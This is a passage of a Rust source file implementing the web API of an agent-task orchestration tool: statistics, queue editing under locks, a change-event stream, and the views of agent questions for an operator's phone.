7250    /// `None` on a day with no runs, so it never reads as 0%.
7251    completion_rate: Option<RateView>,
7252}
7253
7254impl From<&stats::DayBucket> for DailyStatsView {
7255    fn from(b: &stats::DayBucket) -> Self {
7256        Self {
7257            date: b.date.to_string(),
7258            runs: b.runs,
7259            merged: b.merged,
7260            ready: b.ready,
7261            other: b.other,
7262            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7263        }
7264    }
7265}
7266
7267/// How many days [`StatsView::daily`] covers.
7268const STATS_DAILY_DAYS: usize = 30;
7269
7270/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7271/// repository. Matched by full-path equality against `RunState.repo` only
7272/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7273/// `--repo` is, because the value here always came from this same route's
7274/// own `repos` list in an earlier response, never typed by a human. A value
7275/// matching no run is a 404, not an empty aggregate: the caller asked for a
7276/// specific, named repository, and silently returning zeroes would look
7277/// exactly like a repository that has runs but none of interest.
7278#[derive(Debug, Default, Deserialize)]
7279#[serde(default)]
7280struct StatsQuery {
7281    repo: Option<String>,
7282    /// `?all=true` keeps agents that are no longer in the roster.
7283    all: bool,
7284    /// The dashboard fetches queue counts independently of run history.
7285    runs_only: bool,
7286}
7287
7288/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7289/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7290/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7291/// prints from. Reads every readable run on disk, exactly as
7292/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7293/// a separately-maintained tally could.
7294async fn stats_get(
7295    State(ui): State<Arc<Ui>>,
7296    Query(q): Query<StatsQuery>,
7297) -> ApiResult<Json<StatsView>> {
7298    blocking(move || {
7299        let states: Vec<RunState> = run_ids(&ui.runs)
7300            .into_iter()
7301            .filter_map(|id| read_run(&ui.runs, &id).ok())
7302            .collect();
7303        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7304            .iter()
7305            .map(RepoSummaryView::from)
7306            .collect();
7307        let mut scoped: Vec<&RunState> = states.iter().collect();
7308        let mut collected = match &q.repo {
7309            Some(repo) => {
7310                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7311                if filtered.is_empty() {
7312                    return Err(ApiError::not_found(format!(
7313                        "no runs recorded against repo `{repo}`"
7314                    )));
7315                }
7316                scoped = filtered.clone();
7317                stats::collect_refs(filtered)
7318            }
7319            None => stats::collect(&states),
7320        };
7321        if !q.all {
7322            let repo = q
7323                .repo
7324                .as_deref()
7325                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7326            stats::retain_current_roster(&mut collected, &repo);
7327        }
7328        let daily = stats::daily(
7329            scoped,
7330            jiff::Zoned::now().date(),
7331            &jiff::tz::TimeZone::system(),
7332            STATS_DAILY_DAYS,
7333        );
7334        let queue_counts = (!q.runs_only)
7335            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7336        Ok(Json(StatsView {
7337            totals: StatsTotalsView::from(&collected.totals),
7338            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7339            reviewers: collected
7340                .reviewers
7341                .iter()
7342                .map(ReviewerStatsView::from)
7343                .collect(),
7344            advisors: collected
7345                .advisors
7346                .iter()
7347                .map(AdvisorStatsView::from)
7348                .collect(),
7349            e2e: E2eStatsView::from(&collected.e2e),
7350            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7351            queue: queue_counts,
7352            runs_unreadable: runs_unreadable(&ui.runs),
7353            repos,
7354            daily: daily.iter().map(DailyStatsView::from).collect(),
7355            repo: q.repo.clone(),
7356            retired_hidden: collected.retired_hidden.clone(),
7357        }))
7358    })
7359    .await
7360}
7361
7362/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7363/// gives no reason - which must keep working, since not every hold has one.
7364#[derive(Debug, Default, Deserialize)]
7365#[serde(default, deny_unknown_fields)]
7366struct HoldBody {
7367    reason: Option<String>,
7368}
7369
7370async fn queue_hold(
7371    State(ui): State<Arc<Ui>>,
7372    Path(id): Path<String>,
7373    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7374) -> ApiResult<Json<TaskView>> {
7375    // An absent body is the ordinary case - most holds are unexplained, and
7376    // that has to stay a one-tap action rather than a form. A body that is
7377    // present and malformed is still a bad request.
7378    let body = match body {
7379        Ok(Json(body)) => body,
7380        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7381        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7382    };
7383    let reason = body.reason.filter(|r| !r.trim().is_empty());
7384    mutate(ui, id, move |t| {
7385        t.hold_manual(reason.clone());
7386        Ok(())
7387    })
7388    .await
7389}
7390
7391#[derive(Deserialize)]
7392#[serde(deny_unknown_fields)]
7393struct ReassignBody {
7394    repo: PathBuf,
7395}
7396
7397async fn queue_reassign(
7398    State(ui): State<Arc<Ui>>,
7399    Path(id): Path<String>,
7400    Json(body): Json<ReassignBody>,
7401) -> ApiResult<Json<TaskView>> {
7402    let home = ui.home.clone();
7403    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7404        .await
7405        .map_err(ApiError::bad_request_from)?;
7406    let notes = crate::task_reassign::advisory_notes(&task, &home);
7407    let mut view = TaskView::from(task);
7408    view.reassignment_notes = notes;
7409    Ok(Json(view))
7410}
7411
7412async fn queue_release(
7413    State(ui): State<Arc<Ui>>,
7414    Path(id): Path<String>,
7415) -> ApiResult<Json<TaskView>> {
7416    mutate(ui, id, |t| {
7417        t.release_operator("web", None);
7418        Ok(())
7419    })
7420    .await
7421}
7422
7423#[derive(Debug, Deserialize)]
7424#[serde(deny_unknown_fields)]
7425struct AttemptLimitBody {
7426    // Required even when clearing: missing fields must not silently erase an override.
7427    attempt_limit: serde_json::Value,
7428}
7429
7430async fn queue_attempt_limit(
7431    State(ui): State<Arc<Ui>>,
7432    Path(id): Path<String>,
7433    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7434) -> ApiResult<Json<TaskView>> {
7435    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7436    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7437        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7438    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7439}
7440
7441#[derive(Debug, Deserialize)]
7442#[serde(deny_unknown_fields)]
7443struct ImplementersBody {
7444    implementers: u8,
7445}
7446
7447async fn queue_implementers(
7448    State(ui): State<Arc<Ui>>,
7449    Path(id): Path<String>,
7450    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7451) -> ApiResult<Json<TaskView>> {
7452    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7453    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7454}
7455
7456#[derive(Debug, Deserialize)]
7457#[serde(deny_unknown_fields)]
7458struct UrgentBody {
7459    urgent: bool,
7460}
7461
7462async fn queue_urgent(
7463    State(ui): State<Arc<Ui>>,
7464    Path(id): Path<String>,
7465    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7466) -> ApiResult<Json<TaskView>> {
7467    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7468    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7469}
7470
7471/// The body of `POST /api/queue/{id}/priority`.
7472#[derive(Debug, Deserialize)]
7473#[serde(deny_unknown_fields)]
7474struct PriorityBody {
7475    priority: i32,
7476}
7477
7478/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7479///
7480/// [`Task::set_priority`] is the one place the "not while running" rule is
7481/// stated; this route only carries the body to it and lets its `Err` become
7482/// the 4xx the card shows.
7483async fn queue_priority(
7484    State(ui): State<Arc<Ui>>,
7485    Path(id): Path<String>,
7486    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7487) -> ApiResult<Json<TaskView>> {
7488    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7489    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7490}
7491
7492/// The body of `POST /api/queue/{id}/edit`.
7493#[derive(Debug, Deserialize)]
7494#[serde(deny_unknown_fields)]
7495struct EditBody {
7496    title: String,
7497    instruction: String,
7498    /// Save even though the new text names a branch, commit or pull request
7499    /// that unfinished work already owns.
7500    #[serde(default)]
7501    force: bool,
7502}
7503
7504/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7505/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7506/// that refusal's message is what the sheet shows back.
7507async fn queue_edit(
7508    State(ui): State<Arc<Ui>>,
7509    Path(id): Path<String>,
7510    body: std::result::Result<Json<EditBody>, JsonRejection>,
7511) -> ApiResult<Json<TaskView>> {
7512    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7513    // The judge is an agent call, so it is awaited here, outside the claim
7514    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7515    // remembered, and the save refuses if the task moved underneath it.
7516    let mut judged: Option<(String, PathBuf)> = None;
7517    if !body.force {
7518        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7519        let (id, text) = (id.clone(), body.instruction.clone());
7520        let (seen, hits) = blocking(move || {
7521            let id = resolve_task(&queue, &id)?;
7522            let t = queue.get(&id)?;
7523            if text == t.instruction {
7524                return Ok((None, Vec::new()));
7525            }
7526            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7527            Ok((Some((t.instruction, t.repo)), hits))
7528        })
7529        .await?;
7530        if let Some((_, repo)) = &seen {
7531            let cfg = crate::config::Config::discover(repo, None)
7532                .ok()
7533                .map(|(c, _)| c);
7534            let screened =
7535                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7536                    .await
7537                    .map_err(|dup| {
7538                        ApiError::conflict(dup.render(
7539                            "Nothing was saved. If it is not a duplicate, repeat the request \
7540                             with \"force\": true.",
7541                        ))
7542                    })?;
7543            if let crate::dupes::Screened::Unjudged(why) = screened {
7544                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7545            }
7546        }
7547        judged = seen;
7548    }
7549    let force = body.force;
7550    mutate(ui, id, move |t| {
7551        if !force && body.instruction != t.instruction {
7552            match &judged {
7553                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7554                _ => {
7555                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7556                }
7557            }
7558        }
7559        t.edit(body.title.clone(), body.instruction.clone())
7560    })
7561    .await
7562}
7563
7564/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7565/// it, so the phone's other way to clear a task from the backlog does not
7566/// have to cost the run history, the attribution, and `created_at` the way
7567/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7568/// can be marked done by hand, because this is for the run the loop never
7569/// saw land - a merge done by hand, or a gate that misreported - and that can
7570/// happen from any status the task was left in.
7571async fn queue_done(
7572    State(ui): State<Arc<Ui>>,
7573    Path(id): Path<String>,
7574) -> ApiResult<Json<TaskView>> {
7575    let home = ui.home.clone();
7576    mutate(ui, id, move |t| {
7577        t.succeed();
7578        // Same as the loop's own settle path: closing a task by hand is just
7579        // as much "this task's story is over" as a daemon-driven `Merged`/
7580        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7581        // behind must stop looking like it still needs a human. `ui.home`,
7582        // not the process-global `run::home()`: they agree in a real
7583        // process, but only `ui.home` also agrees with a test fixture's own
7584        // directory.
7585        crate::daemon::supersede_prior_runs(t, &home);
7586        Ok(())
7587    })
7588    .await
7589}
7590
7591/// `DELETE /api/queue/{id}`.
7592///
7593/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7594/// names this task: a `running` status or an orphaned `.lock` left behind by a
7595/// killed daemon is a leftover, and treating either as authority made the
7596/// task undeletable from the phone for good. The associated runs, if any, are
7597/// kept: a run is self-contained history and not an appendage of the task.
7598async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7599    blocking(move || {
7600        let id = resolve_task(&ui.queue, &id)?;
7601        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7602        ui.queue
7603            .remove(&id, in_flight, &ui.questions)
7604            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7605        Ok(StatusCode::NO_CONTENT)
7606    })
7607    .await
7608}
7609
7610/// Read a task, change it, write it back, under the queue's own lock.
7611///
7612/// Taking the same claim a daemon takes is what makes hold, release,
7613/// priority, edit, and done safe to press while magi is running: without it
7614/// the daemon's next save would land on top of the operator's change and
7615/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7616/// both do, for a running task - and that refusal becomes the 4xx the card
7617/// shows, same as any other domain rule.
7618async fn mutate(
7619    ui: Arc<Ui>,
7620    id: String,
7621    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7622) -> ApiResult<Json<TaskView>> {
7623    blocking(move || {
7624        let id = resolve_task(&ui.queue, &id)?;
7625        // `claim` fails when the lock file already exists, which is the
7626        // conflict the UI must report: the daemon owns that task's file for
7627        // as long as it is running it, and our write would be lost under its
7628        // next save. The message names the lock either way.
7629        let _claim = ui.queue.claim(&id).map_err(|e| {
7630            ApiError::conflict(format!(
7631                "{e:#} - a daemon is running this task, so it cannot be \
7632                 changed from here yet; wait until it is released, then retry"
7633            ))
7634        })?;
7635        let mut task = ui.queue.get(&id)?;
7636        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7637            Ok(dup) => ApiError::conflict(dup.render(
7638                "Nothing was saved. If it is not a duplicate, repeat the request with \
7639                 \"force\": true.",
7640            )),
7641            Err(e) => ApiError::bad_request_from(e),
7642        })?;
7643        ui.queue.put(&mut task)?;
7644        Ok(Json(TaskView::from(task)))
7645    })
7646    .await
7647}
7648
7649/// The change stream: one revision number per store, on connect and whenever
7650/// any of them moves.
7651///
7652/// One shared worker scans stores; clients only forward its notifications.
7653async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7654    ui.monitor.ensure_worker(&ui);
7655    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7656    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7657
7658    let state = Arc::clone(&ui);
7659    tokio::spawn(async move {
7660        let initial_revisions = {
7661            let guard = match state.monitor.latest.lock() {
7662                Ok(g) => g,
7663                Err(p) => p.into_inner(),
7664            };
7665            guard.as_ref().map(|(r, _)| *r)
7666        };
7667        if let Some(revisions) = initial_revisions {
7668            let initial_payload = serde_json::json!({
7669                "queue_rev": revisions.0,
7670                "runs_rev": revisions.1,
7671                "questions_rev": revisions.2,
7672                "talks_rev": revisions.3,
7673                "notifications_rev": revisions.4,
7674                "loop_rev": revisions.5,
7675            });
7676
7677            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7678                if tx.send(event).await.is_err() {
7679                    return;
7680                }
7681            }
7682        }
7683
7684        loop {
7685            match tokio::select! {
7686                _ = tx.closed() => return,
7687                value = broadcast_rx.recv() => value,
7688            } {
7689                Ok(notif) => {
7690                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7691                    else {
7692                        break;
7693                    };
7694                    if tx.send(event).await.is_err() {
7695                        break;
7696                    }
7697                }
7698                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7699                    let revs = {
7700                        let guard = match state.monitor.latest.lock() {
7701                            Ok(g) => g,
7702                            Err(p) => p.into_inner(),
7703                        };
7704                        guard.as_ref().map(|(r, _)| *r)
7705                    };
7706                    if let Some(revs) = revs {
7707                        let payload = serde_json::json!({
7708                            "queue_rev": revs.0,
7709                            "runs_rev": revs.1,
7710                            "questions_rev": revs.2,
7711                            "talks_rev": revs.3,
7712                            "notifications_rev": revs.4,
7713                            "loop_rev": revs.5,
7714                        });
7715                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7716                            if tx.send(event).await.is_err() {
7717                                break;
7718                            }
7719                        }
7720                    }
7721                }
7722                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7723                    break;
7724                }
7725            }
7726        }
7727    });
7728
7729    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7730        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7731}
7732
7733/// Run ids under `runs`, newest first.
7734///
7735/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7736/// which reads the process-global home: the server has to be drivable against
7737/// a temp directory for any of this to be testable.
7738fn run_ids(runs: &FsPath) -> Vec<String> {
7739    let mut ids: Vec<String> = std::fs::read_dir(runs)
7740        .into_iter()
7741        .flatten()
7742        .flatten()
7743        .filter(|e| e.path().join("run.json").is_file())
7744        .map(|e| e.file_name().to_string_lossy().into_owned())
7745        .collect();
7746    // Ids start with a sortable timestamp.
7747    ids.sort_unstable_by(|a, b| b.cmp(a));
7748    ids
7749}
7750
7751/// Read one run's state from an explicit runs root.
7752fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7753    let path = runs.join(id).join("run.json");
7754    let body =
7755        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7756    let state: RunState =
7757        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7758    // The same migration `RunState::load` applies, so a record from the
7759    // previous schema reads here as it does everywhere else (an origin-less
7760    // run shows as "origin unknown") instead of vanishing from the phone the
7761    // moment the schema is bumped.
7762    run::migrate_schema(state)
7763}
7764
7765/// Runs on disk under `runs` whose state this build cannot parse - almost
7766/// always a schema bump, occasionally a run killed mid-write.
7767///
7768/// Exposed so every surface that reports on runs shares one count instead of
7769/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7770/// `magi doctor` calls this directly rather than guessing at the same number
7771/// a second way.
7772#[must_use]
7773pub fn runs_unreadable(runs: &FsPath) -> usize {
7774    run_ids(runs)
7775        .into_iter()
7776        .filter(|id| read_run(runs, id).is_err())
7777        .count()
7778}
7779
7780fn plain_record_id(id: &str) -> bool {
7781    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7782}
7783
7784/// Expand an id or short id to exactly one run id.
7785fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7786    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7787        return Ok(id.to_owned());
7788    }
7789    pick(run_ids(runs), id, "run")
7790}
7791
7792/// Expand an id or short id to exactly one task id.
7793fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7794    if plain_record_id(id) && queue.path_of(id).is_file() {
7795        return Ok(id.to_owned());
7796    }
7797    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7798    pick(ids, id, "task")
7799}
7800
7801/// A question as the phone reads it.
7802///
7803/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7804/// text already parsed into a node tree so the client never runs its own
7805/// markdown reader over agent-authored prose. A relative image path in it
7806/// resolves against this question's own panel asset route, which is the one
7807/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7808/// separate, sandboxed document, but `detail` is rendered inline in the
7809/// operator's own page, so an image reference in it may only ever point at
7810/// files magi itself already serves for this question.
7811#[derive(Debug, Serialize)]
7812struct QuestionView {
7813    choice_effects: std::collections::BTreeMap<String, String>,
7814    record_revision: String,
7815    #[serde(flatten)]
7816    question: Question,
7817    detail_md: Vec<md::Node>,
7818    posting_view: Option<PostingView>,
7819    /// Each thread turn's body, parsed; same order as `question.thread`.
7820    thread_bodies_md: Vec<Vec<md::Node>>,
7821    /// Each thread turn's deputy note, parsed (`None` for a turn without
7822    /// one); same order as `question.thread`.
7823    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7824    /// Is the ball in the agent's court right now?
7825    ///
7826    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7827    /// [`Question::say`] - so this is the one field that tells the phone to
7828    /// disable the answer controls and show "waiting for the agent" instead of
7829    /// a card the owner can act on. Computed rather than stored on
7830    /// [`Question`] itself, on the same reasoning as `waiting` on
7831    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7832    /// it here means the client never has to re-derive that rule.
7833    waiting_on_agent: bool,
7834    /// Who is waiting on this open question - see [`holder_of`]. Separate
7835    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7836    /// anyone is there to take it.
7837    holder: Option<&'static str>,
7838    /// Whether `magi serve` can start a follow-up agent for a conductor
7839    /// question at all: false when `daemon.max_deputies = 0` or the config is
7840    /// unreadable. Separate from `holder`, which says who is listening now.
7841    deputies_enabled: bool,
7842    /// All starts were spent and no live holder remains. Display-only: the
7843    /// final attempt increments `starts` before running under its lease.
7844    deputy_exhausted: bool,
7845    text_delivery: crate::question_delivery::Availability,
7846    /// `question.run` is a task id (conductor / triage questions), not a run
7847    /// id, so the UI links it to the task page.
7848    run_is_task: bool,
7849    /// The existing chat this question's task came from, including settled
7850    /// questions - see [`crate::consult::associated_talk`].
7851    origin_chat: Option<String>,
7852    /// `origin_chat` is closed; consulting reopens it first.
7853    origin_chat_closed: bool,
7854    /// Consultation eligibility is separate from navigation to the chat.
7855    can_consult_chat: bool,
7856}
7857
7858#[derive(Debug, Serialize)]
7859struct PostingView {
7860    before_md: Vec<md::Node>,
7861    after_md: Vec<md::Node>,
7862    fields: Vec<crate::github_text::ComparisonView>,
7863}
7864
7865fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7866    let comparison = question.posting_comparison.as_ref()?;
7867    if !comparison.matches_detail(&question.detail) {
7868        return None;
7869    }
7870    let mut ids = std::collections::BTreeSet::new();
7871    if comparison.fields.is_empty()
7872        || comparison
7873            .fields
7874            .iter()
7875            .flat_map(|f| &f.pairs)
7876            .any(|p| !ids.insert(p.id))
7877        || comparison
7878            .fields
7879            .iter()
7880            .flat_map(|f| &f.original_triggers)
7881            .any(|t| !ids.insert(t.id))
7882    {
7883        return None;
7884    }
7885    let fields = comparison
7886        .fields
7887        .iter()
7888        .map(|f| f.view(comparison.excerpt))
7889        .collect::<Option<Vec<_>>>()?;
7890    Some(PostingView {
7891        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7892        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7893        fields,
7894    })
7895}
7896
7897impl QuestionView {
7898    /// The view of `question`, reading who is waiting on it from `store`.
7899    ///
7900    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7901    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7902        let base = md::ImageBase::QuestionPanel {
7903            id: question.id.clone(),
7904        };
7905        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7906        Self {
7907            choice_effects: question
7908                .choices
7909                .iter()
7910                .filter_map(|c| {
7911                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7912                })
7913                .collect(),
7914            record_revision: question_record_revision(&question),
7915            detail_md: md::to_nodes(&question.detail, &base),
7916            posting_view: posting_view(&question, &base),
7917            thread_bodies_md: question
7918                .thread
7919                .iter()
7920                .map(|t| md::to_nodes(&t.body, &base))
7921                .collect(),
7922            thread_notes_md: question
7923                .thread
7924                .iter()
7925                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7926                .collect(),
7927            deputy_exhausted: store.deputy_exhausted(&question),
7928            waiting_on_agent: question.waiting_on_agent(),
7929            holder,
7930            deputies_enabled: deputies_enabled(cfg, &question),
7931            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7932            run_is_task: question.run_names_task(),
7933            origin_chat: None,
7934            origin_chat_closed: false,
7935            can_consult_chat: false,
7936            question,
7937        }
7938    }
7939
7940    /// Fill `origin_chat` from the queue and the talks.
7941    fn with_origin(
7942        mut self,
7943        tasks: &[crate::queue::Task],
7944        talks: &[Talk],
7945        watches: &[crate::release_watch::WatchState],
7946    ) -> Self {
7947        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7948        self.can_consult_chat = consult.is_some();
7949        let talk =
7950            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7951        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7952        self.origin_chat = talk.map(|t| t.id);
7953        self
7954    }
7955}
7956
7957/// The config this repository resolves, or `None` when it cannot be read.
7958/// Discovering is git processes plus a config render, so a request that needs
7959/// it for many items takes it once and passes it down.
7960fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7961    Config::discover(repo, None).ok().map(|(c, _)| c)
7962}
7963
7964/// Can `magi serve` start a deputy for this question under `cfg`?
7965fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7966    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7967}
7968
7969/// The views `GET /api/questions` answers. `load` runs at most once, however
7970/// many questions there are, and not at all when there are none.
7971fn question_views(
7972    qs: Vec<Question>,
7973    store: &ask::Questions,
7974    load: impl FnOnce() -> Option<Config>,
7975) -> Vec<QuestionView> {
7976    if qs.is_empty() {
7977        return Vec::new();
7978    }
7979    let cfg = load();
7980    qs.into_iter()
7981        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7982        .collect()
7983}
7984
7985/// Who is honestly waiting on an open question right now: `"asker"` (the
7986/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7987/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7988/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7989/// up, or the question never had anyone listening (a conductor question or a
7990/// merge approval from before deputies, or not yet given one).
7991///
7992/// `None` for a question that is settled, and for one that is not an agent's
7993/// to wait on at all (a release notice).
7994fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7995    if !q.status.open() {
7996        return None;
7997    }
7998    if q.cwd.is_none()
7999        && q.deputy.is_none()
8000        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8001    {
8002        return crate::deputy::kind_of(q).map(|_| "nobody");
8003    }
8004    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8005        Some(_) if q.deputy.is_some() => "deputy",
8006        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8007        Some(_) => "asker",
8008        None => "nobody",
8009    })
8010}
8011
8012/// `GET /api/questions`.
8013///
8014/// Everything, not just the open ones: an answered question is the record of a
8015/// decision, and the phone is where the operator goes back to check what they
8016/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8017#[derive(serde::Serialize)]
8018struct DecisionView {
8019    id: String,
8020    task: String,
8021    run: Option<String>,
8022    chat: Option<String>,
8023    display: String,
8024    delivery_error: Option<String>,
8025    decision: crate::task_decision::Decision,
8026}
8027
8028impl DecisionView {
8029    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8030        Some(Self {
8031            id: inquiry.id,
8032            task: inquiry.task,
8033            run: inquiry.run,
8034            chat: inquiry.delivered_to,
8035            display: inquiry.display,
8036            delivery_error: inquiry.delivery_error,
8037            decision: inquiry.decision?,
8038        })
8039    }
8040}
8041
8042#[derive(serde::Serialize)]
8043struct DecisionsView {
8044    items: Vec<DecisionView>,
8045    unreadable: usize,
8046    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8047}
8048
8049// Read-only: list visits and inquiry links never create owner decisions,
8050// delivery receipts or effect acknowledgements.
8051async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8052    blocking(move || {
8053        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8054        let mut views: Vec<_> = items
8055            .into_iter()
8056            .filter_map(DecisionView::from_inquiry)
8057            .collect();
8058        views.sort_by_key(|view| {
8059            (
8060                view.decision.status == crate::task_decision::Status::Resolved,
8061                view.id.clone(),
8062            )
8063        });
8064        Ok(Json(DecisionsView {
8065            items: views,
8066            unreadable,
8067            migration_errors: crate::task_chat::migration_issues(&ui.home),
8068        }))
8069    })
8070    .await
8071}
8072
8073async fn decision_get(
8074    State(ui): State<Arc<Ui>>,
8075    Path(id): Path<String>,
8076) -> ApiResult<Json<DecisionView>> {
8077    blocking(move || {
8078        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8079        DecisionView::from_inquiry(inquiry)
8080            .map(Json)
8081            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8082    })
8083    .await
8084}
8085
8086async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8087    blocking(move || {
8088        let questions = ui.questions.list();
8089        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8090        Ok(Json(
8091            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8092                .into_iter()
8093                .map(|view| view.with_origin(&tasks, &talks, &watches))
8094                .collect(),
8095        ))
8096    })
8097    .await
8098}
8099
8100/// Question content and answer controls never wait for task/chat provenance.
8101async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8102    blocking(move || {
8103        Ok(Json(question_views(
8104            ui.questions.list(),
8105            &ui.questions,
8106            || deputy_config(&ui.repo),
8107        )))
8108    })
8109    .await
8110}
8111
8112fn question_record_revision(question: &Question) -> String {
8113    use std::hash::{Hash as _, Hasher as _};
8114    let mut hash = std::hash::DefaultHasher::new();
8115    serde_json::to_vec(question)
8116        .expect("serializable question")
8117        .hash(&mut hash);
8118    format!("{:016x}", hash.finish())
8119}
8120
8121#[derive(Serialize)]
8122struct QuestionOriginView {
8123    id: String,
8124    record_revision: String,
8125    origin_chat: Option<String>,
8126    origin_chat_closed: bool,
8127    can_consult_chat: bool,
8128}
8129
8130async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8131    blocking(move || {
8132        let questions = ui.questions.list();
